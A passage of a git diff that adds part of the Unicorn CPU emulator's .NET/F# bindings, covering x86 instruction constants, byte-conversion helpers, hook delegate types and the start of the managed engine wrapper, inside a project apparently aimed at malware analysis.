UC_X86_INS_VGATHERDPS = 885 + let UC_X86_INS_VGATHERPF0DPD = 886 + let UC_X86_INS_VGATHERPF0DPS = 887 + let UC_X86_INS_VGATHERPF0QPD = 888 + let UC_X86_INS_VGATHERPF0QPS = 889 + let UC_X86_INS_VGATHERPF1DPD = 890 + let UC_X86_INS_VGATHERPF1DPS = 891 + let UC_X86_INS_VGATHERPF1QPD = 892 + let UC_X86_INS_VGATHERPF1QPS = 893 + let UC_X86_INS_VGATHERQPD = 894 + let UC_X86_INS_VGATHERQPS = 895 + let UC_X86_INS_VHADDPD = 896 + let UC_X86_INS_VHADDPS = 897 + let UC_X86_INS_VHSUBPD = 898 + let UC_X86_INS_VHSUBPS = 899 + let UC_X86_INS_VINSERTF128 = 900 + let UC_X86_INS_VINSERTF32X4 = 901 + let UC_X86_INS_VINSERTF32X8 = 902 + let UC_X86_INS_VINSERTF64X2 = 903 + let UC_X86_INS_VINSERTF64X4 = 904 + let UC_X86_INS_VINSERTI128 = 905 + let UC_X86_INS_VINSERTI32X4 = 906 + let UC_X86_INS_VINSERTI32X8 = 907 + let UC_X86_INS_VINSERTI64X2 = 908 + let UC_X86_INS_VINSERTI64X4 = 909 + let UC_X86_INS_VINSERTPS = 910 + let UC_X86_INS_VLDDQU = 911 + let UC_X86_INS_VLDMXCSR = 912 + let UC_X86_INS_VMASKMOVDQU = 913 + let UC_X86_INS_VMASKMOVPD = 914 + let UC_X86_INS_VMASKMOVPS = 915 + let UC_X86_INS_VMAXPD = 916 + let UC_X86_INS_VMAXPS = 917 + let UC_X86_INS_VMAXSD = 918 + let UC_X86_INS_VMAXSS = 919 + let UC_X86_INS_VMCALL = 920 + let UC_X86_INS_VMCLEAR = 921 + let UC_X86_INS_VMFUNC = 922 + let UC_X86_INS_VMINPD = 923 + let UC_X86_INS_VMINPS = 924 + let UC_X86_INS_VMINSD = 925 + let UC_X86_INS_VMINSS = 926 + let UC_X86_INS_VMLAUNCH = 927 + let UC_X86_INS_VMLOAD = 928 + let UC_X86_INS_VMMCALL = 929 + let UC_X86_INS_VMOVQ = 930 + let UC_X86_INS_VMOVDDUP = 931 + let UC_X86_INS_VMOVD = 932 + let UC_X86_INS_VMOVDQA32 = 933 + let UC_X86_INS_VMOVDQA64 = 934 + let UC_X86_INS_VMOVDQA = 935 + let UC_X86_INS_VMOVDQU16 = 936 + let UC_X86_INS_VMOVDQU32 = 937 + let UC_X86_INS_VMOVDQU64 = 938 + let UC_X86_INS_VMOVDQU8 = 939 + let UC_X86_INS_VMOVDQU = 940 + let UC_X86_INS_VMOVHLPS = 941 + let UC_X86_INS_VMOVHPD = 942 + let UC_X86_INS_VMOVHPS = 943 + let UC_X86_INS_VMOVLHPS = 944 + let UC_X86_INS_VMOVLPD = 945 + let UC_X86_INS_VMOVLPS = 946 + let UC_X86_INS_VMOVMSKPD = 947 + let UC_X86_INS_VMOVMSKPS = 948 + let UC_X86_INS_VMOVNTDQA = 949 + let UC_X86_INS_VMOVNTDQ = 950 + let UC_X86_INS_VMOVNTPD = 951 + let UC_X86_INS_VMOVNTPS = 952 + let UC_X86_INS_VMOVSD = 953 + let UC_X86_INS_VMOVSHDUP = 954 + let UC_X86_INS_VMOVSLDUP = 955 + let UC_X86_INS_VMOVSS = 956 + let UC_X86_INS_VMOVUPD = 957 + let UC_X86_INS_VMOVUPS = 958 + let UC_X86_INS_VMPSADBW = 959 + let UC_X86_INS_VMPTRLD = 960 + let UC_X86_INS_VMPTRST = 961 + let UC_X86_INS_VMREAD = 962 + let UC_X86_INS_VMRESUME = 963 + let UC_X86_INS_VMRUN = 964 + let UC_X86_INS_VMSAVE = 965 + let UC_X86_INS_VMULPD = 966 + let UC_X86_INS_VMULPS = 967 + let UC_X86_INS_VMULSD = 968 + let UC_X86_INS_VMULSS = 969 + let UC_X86_INS_VMWRITE = 970 + let UC_X86_INS_VMXOFF = 971 + let UC_X86_INS_VMXON = 972 + let UC_X86_INS_VPABSB = 973 + let UC_X86_INS_VPABSD = 974 + let UC_X86_INS_VPABSQ = 975 + let UC_X86_INS_VPABSW = 976 + let UC_X86_INS_VPACKSSDW = 977 + let UC_X86_INS_VPACKSSWB = 978 + let UC_X86_INS_VPACKUSDW = 979 + let UC_X86_INS_VPACKUSWB = 980 + let UC_X86_INS_VPADDB = 981 + let UC_X86_INS_VPADDD = 982 + let UC_X86_INS_VPADDQ = 983 + let UC_X86_INS_VPADDSB = 984 + let UC_X86_INS_VPADDSW = 985 + let UC_X86_INS_VPADDUSB = 986 + let UC_X86_INS_VPADDUSW = 987 + let UC_X86_INS_VPADDW = 988 + let UC_X86_INS_VPALIGNR = 989 + let UC_X86_INS_VPANDD = 990 + let UC_X86_INS_VPANDND = 991 + let UC_X86_INS_VPANDNQ = 992 + let UC_X86_INS_VPANDN = 993 + let UC_X86_INS_VPANDQ = 994 + let UC_X86_INS_VPAND = 995 + let UC_X86_INS_VPAVGB = 996 + let UC_X86_INS_VPAVGW = 997 + let UC_X86_INS_VPBLENDD = 998 + let UC_X86_INS_VPBLENDMB = 999 + let UC_X86_INS_VPBLENDMD = 1000 + let UC_X86_INS_VPBLENDMQ = 1001 + let UC_X86_INS_VPBLENDMW = 1002 + let UC_X86_INS_VPBLENDVB = 1003 + let UC_X86_INS_VPBLENDW = 1004 + let UC_X86_INS_VPBROADCASTB = 1005 + let UC_X86_INS_VPBROADCASTD = 1006 + let UC_X86_INS_VPBROADCASTMB2Q = 1007 + let UC_X86_INS_VPBROADCASTMW2D = 1008 + let UC_X86_INS_VPBROADCASTQ = 1009 + let UC_X86_INS_VPBROADCASTW = 1010 + let UC_X86_INS_VPCLMULQDQ = 1011 + let UC_X86_INS_VPCMOV = 1012 + let UC_X86_INS_VPCMPB = 1013 + let UC_X86_INS_VPCMPD = 1014 + let UC_X86_INS_VPCMPEQB = 1015 + let UC_X86_INS_VPCMPEQD = 1016 + let UC_X86_INS_VPCMPEQQ = 1017 + let UC_X86_INS_VPCMPEQW = 1018 + let UC_X86_INS_VPCMPESTRI = 1019 + let UC_X86_INS_VPCMPESTRM = 1020 + let UC_X86_INS_VPCMPGTB = 1021 + let UC_X86_INS_VPCMPGTD = 1022 + let UC_X86_INS_VPCMPGTQ = 1023 + let UC_X86_INS_VPCMPGTW = 1024 + let UC_X86_INS_VPCMPISTRI = 1025 + let UC_X86_INS_VPCMPISTRM = 1026 + let UC_X86_INS_VPCMPQ = 1027 + let UC_X86_INS_VPCMPUB = 1028 + let UC_X86_INS_VPCMPUD = 1029 + let UC_X86_INS_VPCMPUQ = 1030 + let UC_X86_INS_VPCMPUW = 1031 + let UC_X86_INS_VPCMPW = 1032 + let UC_X86_INS_VPCOMB = 1033 + let UC_X86_INS_VPCOMD = 1034 + let UC_X86_INS_VPCOMPRESSD = 1035 + let UC_X86_INS_VPCOMPRESSQ = 1036 + let UC_X86_INS_VPCOMQ = 1037 + let UC_X86_INS_VPCOMUB = 1038 + let UC_X86_INS_VPCOMUD = 1039 + let UC_X86_INS_VPCOMUQ = 1040 + let UC_X86_INS_VPCOMUW = 1041 + let UC_X86_INS_VPCOMW = 1042 + let UC_X86_INS_VPCONFLICTD = 1043 + let UC_X86_INS_VPCONFLICTQ = 1044 + let UC_X86_INS_VPERM2F128 = 1045 + let UC_X86_INS_VPERM2I128 = 1046 + let UC_X86_INS_VPERMD = 1047 + let UC_X86_INS_VPERMI2D = 1048 + let UC_X86_INS_VPERMI2PD = 1049 + let UC_X86_INS_VPERMI2PS = 1050 + let UC_X86_INS_VPERMI2Q = 1051 + let UC_X86_INS_VPERMIL2PD = 1052 + let UC_X86_INS_VPERMIL2PS = 1053 + let UC_X86_INS_VPERMILPD = 1054 + let UC_X86_INS_VPERMILPS = 1055 + let UC_X86_INS_VPERMPD = 1056 + let UC_X86_INS_VPERMPS = 1057 + let UC_X86_INS_VPERMQ = 1058 + let UC_X86_INS_VPERMT2D = 1059 + let UC_X86_INS_VPERMT2PD = 1060 + let UC_X86_INS_VPERMT2PS = 1061 + let UC_X86_INS_VPERMT2Q = 1062 + let UC_X86_INS_VPEXPANDD = 1063 + let UC_X86_INS_VPEXPANDQ = 1064 + let UC_X86_INS_VPEXTRB = 1065 + let UC_X86_INS_VPEXTRD = 1066 + let UC_X86_INS_VPEXTRQ = 1067 + let UC_X86_INS_VPEXTRW = 1068 + let UC_X86_INS_VPGATHERDD = 1069 + let UC_X86_INS_VPGATHERDQ = 1070 + let UC_X86_INS_VPGATHERQD = 1071 + let UC_X86_INS_VPGATHERQQ = 1072 + let UC_X86_INS_VPHADDBD = 1073 + let UC_X86_INS_VPHADDBQ = 1074 + let UC_X86_INS_VPHADDBW = 1075 + let UC_X86_INS_VPHADDDQ = 1076 + let UC_X86_INS_VPHADDD = 1077 + let UC_X86_INS_VPHADDSW = 1078 + let UC_X86_INS_VPHADDUBD = 1079 + let UC_X86_INS_VPHADDUBQ = 1080 + let UC_X86_INS_VPHADDUBW = 1081 + let UC_X86_INS_VPHADDUDQ = 1082 + let UC_X86_INS_VPHADDUWD = 1083 + let UC_X86_INS_VPHADDUWQ = 1084 + let UC_X86_INS_VPHADDWD = 1085 + let UC_X86_INS_VPHADDWQ = 1086 + let UC_X86_INS_VPHADDW = 1087 + let UC_X86_INS_VPHMINPOSUW = 1088 + let UC_X86_INS_VPHSUBBW = 1089 + let UC_X86_INS_VPHSUBDQ = 1090 + let UC_X86_INS_VPHSUBD = 1091 + let UC_X86_INS_VPHSUBSW = 1092 + let UC_X86_INS_VPHSUBWD = 1093 + let UC_X86_INS_VPHSUBW = 1094 + let UC_X86_INS_VPINSRB = 1095 + let UC_X86_INS_VPINSRD = 1096 + let UC_X86_INS_VPINSRQ = 1097 + let UC_X86_INS_VPINSRW = 1098 + let UC_X86_INS_VPLZCNTD = 1099 + let UC_X86_INS_VPLZCNTQ = 1100 + let UC_X86_INS_VPMACSDD = 1101 + let UC_X86_INS_VPMACSDQH = 1102 + let UC_X86_INS_VPMACSDQL = 1103 + let UC_X86_INS_VPMACSSDD = 1104 + let UC_X86_INS_VPMACSSDQH = 1105 + let UC_X86_INS_VPMACSSDQL = 1106 + let UC_X86_INS_VPMACSSWD = 1107 + let UC_X86_INS_VPMACSSWW = 1108 + let UC_X86_INS_VPMACSWD = 1109 + let UC_X86_INS_VPMACSWW = 1110 + let UC_X86_INS_VPMADCSSWD = 1111 + let UC_X86_INS_VPMADCSWD = 1112 + let UC_X86_INS_VPMADDUBSW = 1113 + let UC_X86_INS_VPMADDWD = 1114 + let UC_X86_INS_VPMASKMOVD = 1115 + let UC_X86_INS_VPMASKMOVQ = 1116 + let UC_X86_INS_VPMAXSB = 1117 + let UC_X86_INS_VPMAXSD = 1118 + let UC_X86_INS_VPMAXSQ = 1119 + let UC_X86_INS_VPMAXSW = 1120 + let UC_X86_INS_VPMAXUB = 1121 + let UC_X86_INS_VPMAXUD = 1122 + let UC_X86_INS_VPMAXUQ = 1123 + let UC_X86_INS_VPMAXUW = 1124 + let UC_X86_INS_VPMINSB = 1125 + let UC_X86_INS_VPMINSD = 1126 + let UC_X86_INS_VPMINSQ = 1127 + let UC_X86_INS_VPMINSW = 1128 + let UC_X86_INS_VPMINUB = 1129 + let UC_X86_INS_VPMINUD = 1130 + let UC_X86_INS_VPMINUQ = 1131 + let UC_X86_INS_VPMINUW = 1132 + let UC_X86_INS_VPMOVDB = 1133 + let UC_X86_INS_VPMOVDW = 1134 + let UC_X86_INS_VPMOVM2B = 1135 + let UC_X86_INS_VPMOVM2D = 1136 + let UC_X86_INS_VPMOVM2Q = 1137 + let UC_X86_INS_VPMOVM2W = 1138 + let UC_X86_INS_VPMOVMSKB = 1139 + let UC_X86_INS_VPMOVQB = 1140 + let UC_X86_INS_VPMOVQD = 1141 + let UC_X86_INS_VPMOVQW = 1142 + let UC_X86_INS_VPMOVSDB = 1143 + let UC_X86_INS_VPMOVSDW = 1144 + let UC_X86_INS_VPMOVSQB = 1145 + let UC_X86_INS_VPMOVSQD = 1146 + let UC_X86_INS_VPMOVSQW = 1147 + let UC_X86_INS_VPMOVSXBD = 1148 + let UC_X86_INS_VPMOVSXBQ = 1149 + let UC_X86_INS_VPMOVSXBW = 1150 + let UC_X86_INS_VPMOVSXDQ = 1151 + let UC_X86_INS_VPMOVSXWD = 1152 + let UC_X86_INS_VPMOVSXWQ = 1153 + let UC_X86_INS_VPMOVUSDB = 1154 + let UC_X86_INS_VPMOVUSDW = 1155 + let UC_X86_INS_VPMOVUSQB = 1156 + let UC_X86_INS_VPMOVUSQD = 1157 + let UC_X86_INS_VPMOVUSQW = 1158 + let UC_X86_INS_VPMOVZXBD = 1159 + let UC_X86_INS_VPMOVZXBQ = 1160 + let UC_X86_INS_VPMOVZXBW = 1161 + let UC_X86_INS_VPMOVZXDQ = 1162 + let UC_X86_INS_VPMOVZXWD = 1163 + let UC_X86_INS_VPMOVZXWQ = 1164 + let UC_X86_INS_VPMULDQ = 1165 + let UC_X86_INS_VPMULHRSW = 1166 + let UC_X86_INS_VPMULHUW = 1167 + let UC_X86_INS_VPMULHW = 1168 + let UC_X86_INS_VPMULLD = 1169 + let UC_X86_INS_VPMULLQ = 1170 + let UC_X86_INS_VPMULLW = 1171 + let UC_X86_INS_VPMULUDQ = 1172 + let UC_X86_INS_VPORD = 1173 + let UC_X86_INS_VPORQ = 1174 + let UC_X86_INS_VPOR = 1175 + let UC_X86_INS_VPPERM = 1176 + let UC_X86_INS_VPROTB = 1177 + let UC_X86_INS_VPROTD = 1178 + let UC_X86_INS_VPROTQ = 1179 + let UC_X86_INS_VPROTW = 1180 + let UC_X86_INS_VPSADBW = 1181 + let UC_X86_INS_VPSCATTERDD = 1182 + let UC_X86_INS_VPSCATTERDQ = 1183 + let UC_X86_INS_VPSCATTERQD = 1184 + let UC_X86_INS_VPSCATTERQQ = 1185 + let UC_X86_INS_VPSHAB = 1186 + let UC_X86_INS_VPSHAD = 1187 + let UC_X86_INS_VPSHAQ = 1188 + let UC_X86_INS_VPSHAW = 1189 + let UC_X86_INS_VPSHLB = 1190 + let UC_X86_INS_VPSHLD = 1191 + let UC_X86_INS_VPSHLQ = 1192 + let UC_X86_INS_VPSHLW = 1193 + let UC_X86_INS_VPSHUFB = 1194 + let UC_X86_INS_VPSHUFD = 1195 + let UC_X86_INS_VPSHUFHW = 1196 + let UC_X86_INS_VPSHUFLW = 1197 + let UC_X86_INS_VPSIGNB = 1198 + let UC_X86_INS_VPSIGND = 1199 + let UC_X86_INS_VPSIGNW = 1200 + let UC_X86_INS_VPSLLDQ = 1201 + let UC_X86_INS_VPSLLD = 1202 + let UC_X86_INS_VPSLLQ = 1203 + let UC_X86_INS_VPSLLVD = 1204 + let UC_X86_INS_VPSLLVQ = 1205 + let UC_X86_INS_VPSLLW = 1206 + let UC_X86_INS_VPSRAD = 1207 + let UC_X86_INS_VPSRAQ = 1208 + let UC_X86_INS_VPSRAVD = 1209 + let UC_X86_INS_VPSRAVQ = 1210 + let UC_X86_INS_VPSRAW = 1211 + let UC_X86_INS_VPSRLDQ = 1212 + let UC_X86_INS_VPSRLD = 1213 + let UC_X86_INS_VPSRLQ = 1214 + let UC_X86_INS_VPSRLVD = 1215 + let UC_X86_INS_VPSRLVQ = 1216 + let UC_X86_INS_VPSRLW = 1217 + let UC_X86_INS_VPSUBB = 1218 + let UC_X86_INS_VPSUBD = 1219 + let UC_X86_INS_VPSUBQ = 1220 + let UC_X86_INS_VPSUBSB = 1221 + let UC_X86_INS_VPSUBSW = 1222 + let UC_X86_INS_VPSUBUSB = 1223 + let UC_X86_INS_VPSUBUSW = 1224 + let UC_X86_INS_VPSUBW = 1225 + let UC_X86_INS_VPTESTMD = 1226 + let UC_X86_INS_VPTESTMQ = 1227 + let UC_X86_INS_VPTESTNMD = 1228 + let UC_X86_INS_VPTESTNMQ = 1229 + let UC_X86_INS_VPTEST = 1230 + let UC_X86_INS_VPUNPCKHBW = 1231 + let UC_X86_INS_VPUNPCKHDQ = 1232 + let UC_X86_INS_VPUNPCKHQDQ = 1233 + let UC_X86_INS_VPUNPCKHWD = 1234 + let UC_X86_INS_VPUNPCKLBW = 1235 + let UC_X86_INS_VPUNPCKLDQ = 1236 + let UC_X86_INS_VPUNPCKLQDQ = 1237 + let UC_X86_INS_VPUNPCKLWD = 1238 + let UC_X86_INS_VPXORD = 1239 + let UC_X86_INS_VPXORQ = 1240 + let UC_X86_INS_VPXOR = 1241 + let UC_X86_INS_VRCP14PD = 1242 + let UC_X86_INS_VRCP14PS = 1243 + let UC_X86_INS_VRCP14SD = 1244 + let UC_X86_INS_VRCP14SS = 1245 + let UC_X86_INS_VRCP28PD = 1246 + let UC_X86_INS_VRCP28PS = 1247 + let UC_X86_INS_VRCP28SD = 1248 + let UC_X86_INS_VRCP28SS = 1249 + let UC_X86_INS_VRCPPS = 1250 + let UC_X86_INS_VRCPSS = 1251 + let UC_X86_INS_VRNDSCALEPD = 1252 + let UC_X86_INS_VRNDSCALEPS = 1253 + let UC_X86_INS_VRNDSCALESD = 1254 + let UC_X86_INS_VRNDSCALESS = 1255 + let UC_X86_INS_VROUNDPD = 1256 + let UC_X86_INS_VROUNDPS = 1257 + let UC_X86_INS_VROUNDSD = 1258 + let UC_X86_INS_VROUNDSS = 1259 + let UC_X86_INS_VRSQRT14PD = 1260 + let UC_X86_INS_VRSQRT14PS = 1261 + let UC_X86_INS_VRSQRT14SD = 1262 + let UC_X86_INS_VRSQRT14SS = 1263 + let UC_X86_INS_VRSQRT28PD = 1264 + let UC_X86_INS_VRSQRT28PS = 1265 + let UC_X86_INS_VRSQRT28SD = 1266 + let UC_X86_INS_VRSQRT28SS = 1267 + let UC_X86_INS_VRSQRTPS = 1268 + let UC_X86_INS_VRSQRTSS = 1269 + let UC_X86_INS_VSCATTERDPD = 1270 + let UC_X86_INS_VSCATTERDPS = 1271 + let UC_X86_INS_VSCATTERPF0DPD = 1272 + let UC_X86_INS_VSCATTERPF0DPS = 1273 + let UC_X86_INS_VSCATTERPF0QPD = 1274 + let UC_X86_INS_VSCATTERPF0QPS = 1275 + let UC_X86_INS_VSCATTERPF1DPD = 1276 + let UC_X86_INS_VSCATTERPF1DPS = 1277 + let UC_X86_INS_VSCATTERPF1QPD = 1278 + let UC_X86_INS_VSCATTERPF1QPS = 1279 + let UC_X86_INS_VSCATTERQPD = 1280 + let UC_X86_INS_VSCATTERQPS = 1281 + let UC_X86_INS_VSHUFPD = 1282 + let UC_X86_INS_VSHUFPS = 1283 + let UC_X86_INS_VSQRTPD = 1284 + let UC_X86_INS_VSQRTPS = 1285 + let UC_X86_INS_VSQRTSD = 1286 + let UC_X86_INS_VSQRTSS = 1287 + let UC_X86_INS_VSTMXCSR = 1288 + let UC_X86_INS_VSUBPD = 1289 + let UC_X86_INS_VSUBPS = 1290 + let UC_X86_INS_VSUBSD = 1291 + let UC_X86_INS_VSUBSS = 1292 + let UC_X86_INS_VTESTPD = 1293 + let UC_X86_INS_VTESTPS = 1294 + let UC_X86_INS_VUNPCKHPD = 1295 + let UC_X86_INS_VUNPCKHPS = 1296 + let UC_X86_INS_VUNPCKLPD = 1297 + let UC_X86_INS_VUNPCKLPS = 1298 + let UC_X86_INS_VZEROALL = 1299 + let UC_X86_INS_VZEROUPPER = 1300 + let UC_X86_INS_WAIT = 1301 + let UC_X86_INS_WBINVD = 1302 + let UC_X86_INS_WRFSBASE = 1303 + let UC_X86_INS_WRGSBASE = 1304 + let UC_X86_INS_WRMSR = 1305 + let UC_X86_INS_XABORT = 1306 + let UC_X86_INS_XACQUIRE = 1307 + let UC_X86_INS_XBEGIN = 1308 + let UC_X86_INS_XCHG = 1309 + let UC_X86_INS_XCRYPTCBC = 1310 + let UC_X86_INS_XCRYPTCFB = 1311 + let UC_X86_INS_XCRYPTCTR = 1312 + let UC_X86_INS_XCRYPTECB = 1313 + let UC_X86_INS_XCRYPTOFB = 1314 + let UC_X86_INS_XEND = 1315 + let UC_X86_INS_XGETBV = 1316 + let UC_X86_INS_XLATB = 1317 + let UC_X86_INS_XRELEASE = 1318 + let UC_X86_INS_XRSTOR = 1319 + let UC_X86_INS_XRSTOR64 = 1320 + let UC_X86_INS_XRSTORS = 1321 + let UC_X86_INS_XRSTORS64 = 1322 + let UC_X86_INS_XSAVE = 1323 + let UC_X86_INS_XSAVE64 = 1324 + let UC_X86_INS_XSAVEC = 1325 + let UC_X86_INS_XSAVEC64 = 1326 + let UC_X86_INS_XSAVEOPT = 1327 + let UC_X86_INS_XSAVEOPT64 = 1328 + let UC_X86_INS_XSAVES = 1329 + let UC_X86_INS_XSAVES64 = 1330 + let UC_X86_INS_XSETBV = 1331 + let UC_X86_INS_XSHA1 = 1332 + let UC_X86_INS_XSHA256 = 1333 + let UC_X86_INS_XSTORE = 1334 + let UC_X86_INS_XTEST = 1335 + let UC_X86_INS_FDISI8087_NOP = 1336 + let UC_X86_INS_FENI8087_NOP = 1337 + let UC_X86_INS_ENDING = 1338 + diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/ConvertUtility.fs b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/ConvertUtility.fs new file mode 100644 index 0000000..5e455bf --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/ConvertUtility.fs @@ -0,0 +1,21 @@ +namespace UnicornManaged + +open System + +[] +module internal ConvertUtility = + + let int64ToBytes(v: Int64) = + let res = Array.zeroCreate 8 + let mutable uv = uint64 v + for i = 0 to res.Length-1 do + res.[i] <- byte (uv &&& uint64 0xFF) + uv <- uv >>> 8 + res + + let bytesToInt64(v: Byte array) = + let mutable res = uint64 0 + for i = 0 to v.Length-1 do + let tmpV = v.[i] &&& byte 0xFF + res <- res + (uint64 tmpV <<< (i * 8)) + int64 res \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/InternalHooks.fs b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/InternalHooks.fs new file mode 100644 index 0000000..36cfc3c --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/InternalHooks.fs @@ -0,0 +1,32 @@ +namespace UnicornManaged + +open System +open System.Runtime.InteropServices + +// internal hooks to be passed to native Unicorn library +[] +type internal CodeHookInternal = delegate of IntPtr * Int64 * Int32 * IntPtr -> unit + +[] +type internal BlockHookInternal = delegate of IntPtr * Int64 * Int32 * IntPtr -> unit + +[] +type internal InterruptHookInternal = delegate of IntPtr * Int32 * IntPtr -> unit + +[] +type internal MemReadHookInternal = delegate of IntPtr * Int64 * Int32 * IntPtr -> unit + +[] +type internal MemWriteHookInternal = delegate of IntPtr * Int64 * Int32 * Int64 * IntPtr -> unit + +[] +type internal EventMemHookInternal = delegate of IntPtr * Int32 * Int64 * Int32 * Int64 * IntPtr-> Boolean + +[] +type internal InHookInternal = delegate of IntPtr * Int32 * Int32 * IntPtr -> Int32 + +[] +type internal OutHookInternal = delegate of IntPtr * Int32 * Int32 * Int32 * IntPtr -> unit + +[] +type internal SyscallHookInternal = delegate of IntPtr * IntPtr -> unit \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Unicorn.fs b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Unicorn.fs new file mode 100644 index 0000000..0a05d30 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Unicorn.fs @@ -0,0 +1,343 @@ +namespace UnicornManaged + +open System +open System.Threading +open System.Collections.Generic +open System.Runtime.InteropServices +open System.Linq +open UnicornManaged.Const +open UnicornManaged.Binding + +// exported hooks +type CodeHook = delegate of Unicorn * Int64 * Int32 * Object -> unit +and BlockHook = delegate of Unicorn * Int64 * Int32 * Object -> unit +and InterruptHook = delegate of Unicorn * Int32 * Object -> unit +and MemReadHook = delegate of Unicorn * Int64 * Int32 * Object -> unit +and MemWriteHook = delegate of Unicorn * Int64 * Int32 * Int64 * Object -> unit +and EventMemHook = delegate of Unicorn * Int32 * Int64 * Int32 * Int64 * Object -> Boolean +and InHook = delegate of Unicorn * Int32 * Int32 * Object -> Int32 +and OutHook = delegate of Unicorn * Int32 * Int32 * Int32 * Object -> unit +and SyscallHook = delegate of Unicorn * Object -> unit + +// the managed unicorn engine +and Unicorn(arch: Int32, mode: Int32, binding: IBinding) = + + // hook callback list + let _codeHooks = new List<(CodeHook * Object)>() + let _blockHooks = new List<(BlockHook * Object)>() + let _interruptHooks = new List<(InterruptHook * Object)>() + let _memReadHooks = new List<(MemReadHook * Object)>() + let _memWriteHooks = new List<(MemWriteHook * Object)>() + let _memEventHooks = new Dictionary>() + let _inHooks = new List<(InHook * Object)>() + let _outHooks = new List<(OutHook * Object)>() + let _syscallHooks = new List<(SyscallHook * Object)>() + let _disposablePointers = new List() + + let _eventMemMap = + [ + (UC_HOOK_MEM_READ_UNMAPPED, UC_MEM_READ_UNMAPPED) + (UC_HOOK_MEM_WRITE_UNMAPPED, UC_MEM_WRITE_UNMAPPED) + (UC_HOOK_MEM_FETCH_UNMAPPED, UC_MEM_FETCH_UNMAPPED) + (UC_HOOK_MEM_READ_PROT, UC_MEM_READ_PROT) + (UC_HOOK_MEM_WRITE_PROT, UC_MEM_WRITE_PROT) + (UC_HOOK_MEM_FETCH_PROT, UC_MEM_FETCH_PROT) + ] |> dict + + let mutable _eng = [|UIntPtr.Zero|] + + let checkResult(errCode: Int32, errMsg: String) = + if errCode <> Common.UC_ERR_OK then raise(ApplicationException(String.Format("{0}. Error: {1}", errMsg, errCode))) + + let hookDel(callbacks: List<'a * Object>) (callback: 'a)= + // TODO: invoke the native function in order to not call the trampoline anymore + callbacks + |> Seq.tryFind(fun item -> match item with | (c, _) -> c = callback) + |> (fun k -> if k.IsSome then callbacks.Remove(k.Value) |> ignore) + + let allocate(size: Int32) = + let mem = Marshal.AllocHGlobal(size) + _disposablePointers.Add(mem) + mem.ToPointer() + + do + // initialize event list + _eventMemMap + |> Seq.map(fun kv -> kv.Key) + |> Seq.iter (fun eventType -> _memEventHooks.Add(eventType, new List())) + + // init engine + _eng <- [|new UIntPtr(allocate(IntPtr.Size))|] + let err = binding.UcOpen(uint32 arch, uint32 mode, _eng) + checkResult(err, "Unable to open the Unicorn Engine") + + new(arch, mode) = new Unicorn(arch, mode, BindingFactory.getDefault()) + + member private this.CheckResult(errorCode: Int32) = + // return the exception instead of raising it in order to have a more meaningful stack trace + if errorCode <> Common.UC_ERR_OK then + let errorMessage = this.StrError(errorCode) + Some <| UnicornEngineException(errorCode, errorMessage) + else None + + member this.MemMap(address: Int64, size: Int64, perm: Int32) = + let size = new UIntPtr(uint64 size) + match binding.MemMap(_eng.[0], uint64 address, size, uint32 perm) |> this.CheckResult with + | Some e -> raise e | None -> () + + member this.MemMapPtr(address: Int64, size: Int64, perm: Int32, ptr: IntPtr) = + let size = new UIntPtr(uint64 size) + let ptr = new UIntPtr(ptr.ToPointer()) + match binding.MemMapPtr(_eng.[0], uint64 address, size, uint32 perm, ptr) |> this.CheckResult with + | Some e -> raise e | None -> () + + member this.MemUnmap(address: Int64, size: Int64) = + let size = new UIntPtr(uint64 size) + match binding.MemUnmap(_eng.[0], uint64 address, size) |> this.CheckResult with + | Some e -> raise e | None -> () + + member this.MemProtect(address: Int64, size: Int64, ?perm: Int32) = + let size = new UIntPtr(uint64 size) + let perm = defaultArg perm Common.UC_PROT_ALL + match binding.MemProtect(_eng.[0], uint64 address, size, uint32 perm) |> this.CheckResult with + | Some e -> raise e | None -> () + + member this.MemWrite(address: Int64, value: Byte array) = + match binding.MemWrite(_eng.[0], uint64 address, value, new UIntPtr(uint32 value.Length)) |> this.CheckResult with + | Some e -> raise e | None -> () + + member this.MemRead(address: Int64, memValue: Byte array) = + match binding.MemRead(_eng.[0], uint64 address, memValue, new UIntPtr(uint32 memValue.Length)) |> this.CheckResult with + | Some e -> raise e | None -> () + + member this.RegWrite(regId: Int32, value: Byte array) = + match binding.RegWrite(_eng.[0], regId, value) |> this.CheckResult with + | Some e -> raise e | None -> () + + member this.RegWrite(regId: Int32, value: Int64) = + this.RegWrite(regId, int64ToBytes value) + + member this.RegRead(regId: Int32, regValue: Byte array) = + match binding.RegRead(_eng.[0], regId, regValue) |> this.CheckResult with + | Some e -> raise e | None -> () + + member this.RegRead(regId: Int32) = + let buffer = Array.zeroCreate 8 + this.RegRead(regId, buffer) + bytesToInt64 buffer + + member this.EmuStart(beginAddr: Int64, untilAddr: Int64, timeout: Int64, count: Int64) = + match binding.EmuStart(_eng.[0], uint64 beginAddr, uint64 untilAddr, uint64 timeout, uint64 count) |> this.CheckResult with + | Some e -> raise e | None -> () + + member this.EmuStop() = + match binding.EmuStop(_eng.[0]) |> this.CheckResult with + | Some e -> raise e | None -> () + + member this.Close() = + match binding.Close(_eng.[0]) |> this.CheckResult with + | Some e -> raise e | None -> () + + member this.ArchSupported(arch: Int32) = + binding.ArchSupported(arch) + + member this.ErrNo() = + binding.Errono(_eng.[0]) + + member this.StrError(errorNo: Int32) = + let errorStringPointer = binding.Strerror(errorNo) + Marshal.PtrToStringAnsi(errorStringPointer) + + member this.AddCodeHook(callback: CodeHook, userData: Object, beginAddr: Int64, endAddr: Int64) = + let trampoline(u: IntPtr) (addr: Int64) (size: Int32) (user: IntPtr) = + _codeHooks + |> Seq.iter(fun (callback, userData) -> callback.Invoke(this, addr, size, userData)) + + if _codeHooks |> Seq.isEmpty then + let funcPointer = Marshal.GetFunctionPointerForDelegate(new CodeHookInternal(trampoline)) + let hh = new UIntPtr(allocate(IntPtr.Size)) + match 